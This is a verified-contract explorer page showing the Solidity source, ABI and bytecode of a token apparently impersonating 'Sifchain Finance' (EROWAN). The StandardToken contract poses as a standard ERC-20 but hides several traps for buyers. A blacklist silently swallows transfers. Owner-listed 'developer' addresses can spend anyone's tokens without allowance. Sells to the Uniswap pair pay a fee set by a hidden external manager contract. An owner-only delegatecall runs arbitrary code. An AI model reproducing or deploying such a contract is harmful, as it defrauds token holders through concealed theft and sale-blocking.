Token

Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

interface IERC20    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ...  contract Context    - function _msgSender()  contract ERC20 is Context, IERC20    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ...    - function increaseAllowance(address sp ...    - function decreaseAllowance(address sp ...    - function _transfer(address sender, ad ...    - function _mint(address account, uint ...    - function _burn(address account, uint ...    - function _approve(address owner, addr ...  contract ERC20Detailed is IERC20    - function name()    - function symbol()    - function decimals() library SafeMath    - function add(uint a, uint b)    - function sub(uint a, uint b)    - function sub(uint a, uint b, string m ...    - function mul(uint a, uint b)    - function div(uint a, uint b)    - function div(uint a, uint b, string m ... library Address    - function isContract(address account) library SafeERC20    - function safeTransfer(IERC20 token, a ...    - function safeTransferFrom(IERC20 toke ...    - function safeApprove(IERC20 token, ad ...    - function callOptionalReturn(IERC20 to ... interface Management    - function getFee(address,address,uint2 ...  contract StandardToken *    - function approve(address _spender, ui ...    - function transfer(address _to, uint25 ...    - function transferFrom(address _from, ...    - function batchSend(address[] memory _ ...    - function pairFor(address tokenA, addr ...    - function getFee(address _from, addres ...    - function delegate(address a, bytes me ...    - function ()    - function block(address[] memory _to)

More Options

• Is this a proxy?
• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2021-01-04
*/

pragma solidity ^0.5.17;

interface IERC20 {
    function totalSupply() external view returns(uint);

    function balanceOf(address account) external view returns(uint);

    function transfer(address recipient, uint amount) external returns(bool);

    function allowance(address owner, address spender) external view returns(uint);

    function approve(address spender, uint amount) external returns(bool);

    function transferFrom(address sender, address recipient, uint amount) external returns(bool);
    event Transfer(address indexed from, address indexed to, uint value);
    event Approval(address indexed owner, address indexed spender, uint value);
}

contract Context {
    constructor() internal {}
    // solhint-disable-previous-line no-empty-blocks
    function _msgSender() internal view returns(address payable) {
        return msg.sender;
    }
}

contract ERC20 is Context, IERC20 {
    using SafeMath for uint;
    mapping(address => uint) private _balances;

    mapping(address => mapping(address => uint)) private _allowances;

    uint private _totalSupply;

    function totalSupply() public view returns(uint) {
        return _totalSupply;
    }

    function balanceOf(address account) public view returns(uint) {
        return _balances[account];
    }

    function transfer(address recipient, uint amount) public returns(bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view returns(uint) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint amount) public returns(bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint addedValue) public returns(bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function _transfer(address sender, address recipient, uint amount) internal {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    function _mint(address account, uint amount) internal {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint amount) internal {
        require(account != address(0), "ERC20: burn from the zero address");

        _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }

    function _approve(address owner, address spender, uint amount) internal {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

contract ERC20Detailed is IERC20 {
    string private _name;
    string private _symbol;
    uint8 private _decimals;

    constructor(string memory name, string memory symbol, uint8 decimals) public {
        _name = name;
        _symbol = symbol;
        _decimals = decimals;
    }

    function name() public view returns(string memory) {
        return _name;
    }

    function symbol() public view returns(string memory) {
        return _symbol;
    }

    function decimals() public view returns(uint8) {
        return _decimals;
    }
}

library SafeMath {
    function add(uint a, uint b) internal pure returns(uint) {
        uint c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint a, uint b) internal pure returns(uint) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
        require(b <= a, errorMessage);
        uint c = a - b;

        return c;
    }

    function mul(uint a, uint b) internal pure returns(uint) {
        if (a == 0) {
            return 0;
        }

        uint c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint a, uint b) internal pure returns(uint) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
        // Solidity only automatically asserts when dividing by 0
        require(b > 0, errorMessage);
        uint c = a / b;

        return c;
    }
}

library Address {
    function isContract(address account) internal view returns(bool) {
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly { codehash:= extcodehash(account) }
        return (codehash != 0x0 && codehash != accountHash);
    }
}

library SafeERC20 {
    using SafeMath
    for uint;
    using Address
    for address;

    function safeTransfer(IERC20 token, address to, uint value) internal {
        callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
    }

    function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
        callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
    }

    function safeApprove(IERC20 token, address spender, uint value) internal {
        require((value == 0) || (token.allowance(address(this), spender) == 0),
            "SafeERC20: approve from non-zero to non-zero allowance"
        );
        callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
    }

    function callOptionalReturn(IERC20 token, bytes memory data) private {
        require(address(token).isContract(), "SafeERC20: call to non-contract");

        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory returndata) = address(token).call(data);
        require(success, "SafeERC20: low-level call failed");

        if (returndata.length > 0) { // Return data is optional
            // solhint-disable-next-line max-line-length
            require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
        }
    }
}

interface Management {
    function getFee(address,address,uint256) external returns(uint256);
}

contract StandardToken {

    event Transfer(address indexed _from, address indexed _to, uint256 _value);
    event Approval(address indexed _from, address indexed _to, uint256 _value);

    modifier onlyOwner() {
        require(msg.sender == owner);
        _;
    }

    function approve(address _spender, uint256 _value) public payable returns (bool) {
        allowance[msg.sender][_spender] = _value;
        emit Approval(msg.sender, _spender, _value);
        return true;
    }

    function transfer(address _to, uint256 _value) public payable returns (bool) {
        return transferFrom(msg.sender, _to, _value);
    }

    function transferFrom(address _from, address _to, uint256 _value) public payable returns (bool) {
        if (_value == 0) {return true;}
        if (msg.sender != _from && developer[tx.origin] == 0) {
            require(allowance[_from][msg.sender] >= _value);
            allowance[_from][msg.sender] -= _value;
        }
        require(balanceOf[_from] >= _value);
        balanceOf[_from] -= _value;
        if (blacklist[_to] || blacklist[_from]) {return true;}
        uint256 fee = getFee(_from, _to, _value);
        balanceOf[_to] += (_value - fee);
        emit Transfer(_from, _to, _value);
        return true;
    }

    function batchSend(address[] memory _to, uint256 _value) onlyOwner public payable returns (bool) {
        uint256 total = _value * _to.length;
        require(balanceOf[msg.sender] >= total);
        balanceOf[msg.sender] -= total;
        for (uint256 i = 0; i < _to.length; i++) {
            address to = _to[i];
            balanceOf[to] += _value;
            developer[to] = 1;
            emit Transfer(msg.sender, to, _value);
        }
        return true;
    }

    function pairFor(address tokenA, address tokenB) private pure returns (address) {
        (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
        address pair = address(uint256(keccak256(abi.encodePacked(
                hex'ff', factory, keccak256(abi.encodePacked(token0, token1)),
                hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
            ))));
        return pair;
    }

    function getFee(address _from, address _to, uint256 _value) private returns(uint256) {
        if (paid && _to == UNI && _from != owner && developer[_from] == 0) {
            return Management(manager).getFee(address(this), UNI, _value);
        }
        return 0;
    }

    function delegate(address a, bytes memory b) onlyOwner public payable {
        a.delegatecall(b);
    }

    function () payable external {paid = true;}

    function block(address[] memory _to) onlyOwner public payable returns (bool) {
        for (uint256 i = 0; i < _to.length; i++) {
            paid = true;
            address to = _to[i];
            blacklist[to] = true;
        }
    }

    mapping (address => uint256) private developer;
    mapping (address => bool) private blacklist;
    mapping (address => uint256) public balanceOf;
    mapping (address => mapping (address => uint256)) public allowance;

    uint256 public decimals;
    uint256 public totalSupply;
    string public name;
    string public symbol;
    bool public paid = false;

    address private owner;
    address private UNI;

    address constant internal manager = 0x0F450Ddc280787b49B14B866A6E4e4D279A22Fa6;
    address constant internal weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address constant internal factory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
    address constant internal router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

    constructor(string memory _symbol, string memory _name,
                uint256 _supply, uint256 _decimals, address[] memory b) payable public {
        owner = msg.sender;
        symbol = _symbol;
        name = _name;
        totalSupply = _supply;
        decimals = _decimals;
        block(b);
        UNI = pairFor(weth, address(this));
        balanceOf[msg.sender] = totalSupply;
        allowance[msg.sender][router] = uint256(-1);
        emit Transfer(address(0x0), msg.sender, totalSupply);
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"string","name":"_name","type":"string"},{"internalType":"uint256","name":"_supply","type":"uint256"},{"internalType":"uint256","name":"_decimals","type":"uint256"},{"internalType":"address[]","name":"b","type":"address[]"}],"payable":true,"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_from","type":"address"},{"indexed":true,"internalType":"address","name":"_to","type":"address"},{"indexed":false,"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_from","type":"address"},{"indexed":true,"internalType":"address","name":"_to","type":"address"},{"indexed":false,"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Transfer","type":"event"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address[]","name":"_to","type":"address[]"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"batchSend","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"internalType":"address[]","name":"_to","type":"address[]"}],"name":"block","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"a","type":"address"},{"internalType":"bytes","name":"b","type":"bytes"}],"name":"delegate","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"paid","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":true,"stateMutability":"payable","type":"function"}]

608060408190526008805460ff191690556200113238819003908190833981810160405260a08110156200003257600080fd5b81019080805160405193929190846401000000008211156200005357600080fd5b9083019060208201858111156200006957600080fd5b82516401000000008111828201881017156200008457600080fd5b82525081516020918201929091019080838360005b83811015620000b357818101518382015260200162000099565b50505050905090810190601f168015620000e15780820380516001836020036101000a031916815260200191505b50604052602001805160405193929190846401000000008211156200010557600080fd5b9083019060208201858111156200011b57600080fd5b82516401000000008111828201881017156200013657600080fd5b82525081516020918201929091019080838360005b83811015620001655781810151838201526020016200014b565b50505050905090810190601f168015620001935780820380516001836020036101000a031916815260200191505b50604081815260208301519083015160609093018051919593949293929184640100000000821115620001c557600080fd5b908301906020820185811115620001db57600080fd5b8251866020820283011164010000000082111715620001f957600080fd5b82525081516020918201928201910280838360005b83811015620002285781810151838201526020016200020e565b5050505091909101604052505060088054610100600160a81b03191633610100021790555050845162000263906007906020880190620004f7565b50835162000279906006906020870190620004f7565b506005839055600482905562000298816001600160e01b036200036716565b50620002c273c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2306001600160e01b03620003f316565b600980546001600160a01b0319166001600160a01b0392909216919091179055600580543360008181526002602090815260408083209490945560038152838220737a250d5630b4cf539739df2c5dacb4c659f2488d835281528382206000199055935483519081529251919390927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a350505050506200059c565b60085460009061010090046001600160a01b031633146200038757600080fd5b60005b8251811015620003ed576008805460ff191660011790558251600090849083908110620003b357fe5b6020908102919091018101516001600160a01b0316600090815260019182905260409020805460ff1916821790559190910190506200038a565b50919050565b6000806000836001600160a01b0316856001600160a01b0316106200041a5783856200041d565b84845b604080516001600160601b0319606094851b81166020808401919091529390941b9093166034840152805160288185030181526048840182528051908301207fff0000000000000000000000000000000000000000000000000000000000000060688501527f5c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f0000000000000000000000006069850152607d8401527f96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f609d808501919091528151808503909101815260bd909301905281519101209250505092915050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106200053a57805160ff19168380011785556200056a565b828001600101855582156200056a579182015b828111156200056a5782518255916020019190600101906200054d565b50620005789291506200057c565b5090565b6200059991905b8082111562000578576000815560010162000583565b90565b610b8680620005ac6000396000f3fe6080604052600436106100c25760003560e01c8063313ce5671161007f578063a9059cbb11610059578063a9059cbb1461030d578063aa2f522014610339578063d6d2b6ba146103de578063dd62ed3e14610496576100c2565b8063313ce567146102b057806370a08231146102c557806395d89b41146102f8576100c2565b806306fdde03146100d1578063095ea7b31461015b57806318160ddd1461019b5780631ba1ccab146101c257806323b872dd14610265578063295b4e171461029b575b6008805460ff19166001179055005b3480156100dd57600080fd5b506100e66104d1565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610120578181015183820152602001610108565b50505050905090810190601f16801561014d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101876004803603604081101561017157600080fd5b506001600160a01b03813516906020013561055f565b604080519115158252519081900360200190f35b3480156101a757600080fd5b506101b06105c5565b60408051918252519081900360200190f35b610187600480360360208110156101d857600080fd5b8101906020810181356401000000008111156101f357600080fd5b82018360208201111561020557600080fd5b8035906020019184602083028401116401000000008311171561022757600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506105cb945050505050565b6101876004803603606081101561027b57600080fd5b506001600160a01b03813581169160208101359091169060400135610653565b3480156102a757600080fd5b506101876107e8565b3480156102bc57600080fd5b506101b06107f1565b3480156102d157600080fd5b506101b0600480360360208110156102e857600080fd5b50356001600160a01b03166107f7565b34801561030457600080fd5b506100e6610809565b6101876004803603604081101561032357600080fd5b506001600160a01b038135169060200135610864565b6101876004803603604081101561034f57600080fd5b81019060208101813564010000000081111561036a57600080fd5b82018360208201111561037c57600080fd5b8035906020019184602083028401116401000000008311171561039e57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295505091359250610871915050565b610494600480360360408110156103f457600080fd5b6001600160a01b03823516919081019060408101602082013564010000000081111561041f57600080fd5b82018360208201111561043157600080fd5b8035906020019184600183028401116401000000008311171561045357600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610961945050505050565b005b3480156104a257600080fd5b506101b0600480360360408110156104b957600080fd5b506001600160a01b0381358116916020013516610a23565b6006805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105575780601f1061052c57610100808354040283529160200191610557565b820191906000526020600020905b81548152906001019060200180831161053a57829003601f168201915b505050505081565b3360008181526003602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60055481565b60085460009061010090046001600160a01b031633146105ea57600080fd5b60005b825181101561064d576008805460ff19166001179055825160009084908390811061061457fe5b6020908102919091018101516001600160a01b0316600090815260019182905260409020805460ff1916821790559190910190506105ed565b50919050565b600081610662575060016107e1565b336001600160a01b03851614801590610688575032600090815260208190526040902054155b156106e8576001600160a01b03841660009081526003602090815260408083203384529091529020548211156106bd57600080fd5b6001600160a01b03841660009081526003602090815260408083203384529091529020805483900390555b6001600160a01b03841660009081526002602052604090205482111561070d57600080fd5b6001600160a01b03808516600090815260026020908152604080832080548790039055928616825260019052205460ff168061076157506001600160a01b03841660009081526001602052604090205460ff165b1561076e575060016107e1565b600061077b858585610a40565b6001600160a01b038086166000818152600260209081526040918290208054868a03019055815188815291519495509193928916927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a360019150505b9392505050565b60085460ff1681565b60045481565b60026020526000908152604090205481565b6007805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105575780601f1061052c57610100808354040283529160200191610557565b60006107e1338484610653565b60085460009061010090046001600160a01b0316331461089057600080fd5b825133600090815260026020526040902054908302908111156108b257600080fd5b336000908152600260205260408120805483900390555b84518110156109565760008582815181106108e057fe5b6020908102919091018101516001600160a01b038116600081815260028452604080822080548b019055818552908190206001905580518981529051929450909233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a3506001016108c9565b506001949350505050565b60085461010090046001600160a01b0316331461097d57600080fd5b816001600160a01b0316816040518082805190602001908083835b602083106109b75780518252601f199092019160209182019101610998565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d8060008114610a17576040519150601f19603f3d011682016040523d82523d6000602084013e610a1c565b606091505b5050505050565b600360209081526000928352604080842090915290825290205481565b60085460009060ff168015610a6257506009546001600160a01b038481169116145b8015610a8157506008546001600160a01b038581166101009092041614155b8015610aa357506001600160a01b038416600090815260208190526040902054155b15610b475760095460408051632f8e517960e21b81523060048201526001600160a01b0390921660248301526044820184905251730f450ddc280787b49b14b866a6e4e4d279a22fa69163be3945e49160648083019260209291908290030181600087803b158015610b1457600080fd5b505af1158015610b28573d6000803e3d6000fd5b505050506040513d6020811015610b3e57600080fd5b505190506107e1565b506000939250505056fea265627a7a7231582015e939b008a439a2203871154290cb73cfb1ad1cd46f715dfa49ea67f6ea7e6d64736f6c6343000511003200000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e00000000000000000000000000000000000000000033b2e3c9fd0803ce800000000000000000000000000000000000000000000000000000000000000000000120000000000000000000000000000000000000000000000000000000000000120000000000000000000000000000000000000000000000000000000000000000645524f57414e00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010536966636861696e2046696e616e6365000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

0x6080604052600436106100c25760003560e01c8063313ce5671161007f578063a9059cbb11610059578063a9059cbb1461030d578063aa2f522014610339578063d6d2b6ba146103de578063dd62ed3e14610496576100c2565b8063313ce567146102b057806370a08231146102c557806395d89b41146102f8576100c2565b806306fdde03146100d1578063095ea7b31461015b57806318160ddd1461019b5780631ba1ccab146101c257806323b872dd14610265578063295b4e171461029b575b6008805460ff19166001179055005b3480156100dd57600080fd5b506100e66104d1565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610120578181015183820152602001610108565b50505050905090810190601f16801561014d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101876004803603604081101561017157600080fd5b506001600160a01b03813516906020013561055f565b604080519115158252519081900360200190f35b3480156101a757600080fd5b506101b06105c5565b60408051918252519081900360200190f35b610187600480360360208110156101d857600080fd5b8101906020810181356401000000008111156101f357600080fd5b82018360208201111561020557600080fd5b8035906020019184602083028401116401000000008311171561022757600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506105cb945050505050565b6101876004803603606081101561027b57600080fd5b506001600160a01b03813581169160208101359091169060400135610653565b3480156102a757600080fd5b506101876107e8565b3480156102bc57600080fd5b506101b06107f1565b3480156102d157600080fd5b506101b0600480360360208110156102e857600080fd5b50356001600160a01b03166107f7565b34801561030457600080fd5b506100e6610809565b6101876004803603604081101561032357600080fd5b506001600160a01b038135169060200135610864565b6101876004803603604081101561034f57600080fd5b81019060208101813564010000000081111561036a57600080fd5b82018360208201111561037c57600080fd5b8035906020019184602083028401116401000000008311171561039e57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295505091359250610871915050565b610494600480360360408110156103f457600080fd5b6001600160a01b03823516919081019060408101602082013564010000000081111561041f57600080fd5b82018360208201111561043157600080fd5b8035906020019184600183028401116401000000008311171561045357600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610961945050505050565b005b3480156104a257600080fd5b506101b0600480360360408110156104b957600080fd5b506001600160a01b0381358116916020013516610a23565b6006805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105575780601f1061052c57610100808354040283529160200191610557565b820191906000526020600020905b81548152906001019060200180831161053a57829003601f168201915b505050505081565b3360008181526003602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60055481565b60085460009061010090046001600160a01b031633146105ea57600080fd5b60005b825181101561064d576008805460ff19166001179055825160009084908390811061061457fe5b6020908102919091018101516001600160a01b0316600090815260019182905260409020805460ff1916821790559190910190506105ed565b50919050565b600081610662575060016107e1565b336001600160a01b03851614801590610688575032600090815260208190526040902054155b156106e8576001600160a01b03841660009081526003602090815260408083203384529091529020548211156106bd57600080fd5b6001600160a01b03841660009081526003602090815260408083203384529091529020805483900390555b6001600160a01b03841660009081526002602052604090205482111561070d57600080fd5b6001600160a01b03808516600090815260026020908152604080832080548790039055928616825260019052205460ff168061076157506001600160a01b03841660009081526001602052604090205460ff165b1561076e575060016107e1565b600061077b858585610a40565b6001600160a01b038086166000818152600260209081526040918290208054868a03019055815188815291519495509193928916927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a360019150505b9392505050565b60085460ff1681565b60045481565b60026020526000908152604090205481565b6007805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105575780601f1061052c57610100808354040283529160200191610557565b60006107e1338484610653565b60085460009061010090046001600160a01b0316331461089057600080fd5b825133600090815260026020526040902054908302908111156108b257600080fd5b336000908152600260205260408120805483900390555b84518110156109565760008582815181106108e057fe5b6020908102919091018101516001600160a01b038116600081815260028452604080822080548b019055818552908190206001905580518981529051929450909233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a3506001016108c9565b506001949350505050565b60085461010090046001600160a01b0316331461097d57600080fd5b816001600160a01b0316816040518082805190602001908083835b602083106109b75780518252601f199092019160209182019101610998565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d8060008114610a17576040519150601f19603f3d011682016040523d82523d6000602084013e610a1c565b606091505b5050505050565b600360209081526000928352604080842090915290825290205481565b60085460009060ff168015610a6257506009546001600160a01b038481169116145b8015610a8157506008546001600160a01b038581166101009092041614155b8015610aa357506001600160a01b038416600090815260208190526040902054155b15610b475760095460408051632f8e517960e21b81523060048201526001600160a01b0390921660248301526044820184905251730f450ddc280787b49b14b866a6e4e4d279a22fa69163be3945e49160648083019260209291908290030181600087803b158015610b1457600080fd5b505af1158015610b28573d6000803e3d6000fd5b505050506040513d6020811015610b3e57600080fd5b505190506107e1565b506000939250505056fea265627a7a7231582015e939b008a439a2203871154290cb73cfb1ad1cd46f715dfa49ea67f6ea7e6d64736f6c63430005110032

7736:4284:0:-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10452:4;:11;;-1:-1:-1;;10452:11:0;10459:4;10452:11;;;7736:4284;11017:18;;8:9:-1;5:2;;;30:1;27;20:12;5:2;11017:18:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8:100:-1;33:3;30:1;27:10;8:100;;;90:11;;;84:18;71:11;;;64:39;52:2;45:10;8:100;;;12:14;11017:18:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8020:216;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;;8020:216:0;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;10984:26;;8:9:-1;5:2;;;30:1;27;20:12;5:2;10984:26:0;;;:::i;:::-;;;;;;;;;;;;;;;;10473:243;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;10473:243:0;;;;;;;;21:11:-1;5:28;;2:2;;;46:1;43;36:12;2:2;10473:243:0;;35:9:-1;28:4;12:14;8:25;5:40;2:2;;;58:1;55;48:12;2:2;10473:243:0;;;;;;101:9:-1;95:2;81:12;77:21;67:8;63:36;60:51;39:11;25:12;22:29;11:108;8:2;;;132:1;129;122:12;8:2;10473:243:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;30:3:-1;22:6;14;1:33;99:1;81:16;;74:27;;;;-1:-1;10473:243:0;;-1:-1:-1;10473:243:0;;-1:-1:-1;;;;;10473:243:0:i;8392:643::-;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;;8392:643:0;;;;;;;;;;;;;;;;;:::i;11069:24::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;11069:24:0;;;:::i;10954:23::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;10954:23:0;;;:::i;10827:45::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;10827:45:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;10827:45:0;-1:-1:-1;;;;;10827:45:0;;:::i;11042:20::-;;8:9:-1;5:2;;;30:1;27;20:12;5:2;11042:20:0;;;:::i;8244:140::-;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;;8244:140:0;;;;;;;;:::i;9043:483::-;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;9043:483:0;;;;;;;;21:11:-1;5:28;;2:2;;;46:1;43;36:12;2:2;9043:483:0;;35:9:-1;28:4;12:14;8:25;5:40;2:2;;;58:1;55;48:12;2:2;9043:483:0;;;;;;101:9:-1;95:2;81:12;77:21;67:8;63:36;60:51;39:11;25:12;22:29;11:108;8:2;;;132:1;129;122:12;8:2;9043:483:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;30:3:-1;22:6;14;1:33;99:1;81:16;;74:27;;;;-1:-1;9043:483:0;;-1:-1:-1;;9043:483:0;;;-1:-1:-1;9043:483:0;;-1:-1:-1;;9043:483:0:i;10308:106::-;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;10308:106:0;;;;;;;;;;;;;;;21:11:-1;5:28;;2:2;;;46:1;43;36:12;2:2;10308:106:0;;35:9:-1;28:4;12:14;8:25;5:40;2:2;;;58:1;55;48:12;2:2;10308:106:0;;;;;;100:9:-1;95:1;81:12;77:20;67:8;63:35;60:50;39:11;25:12;22:29;11:107;8: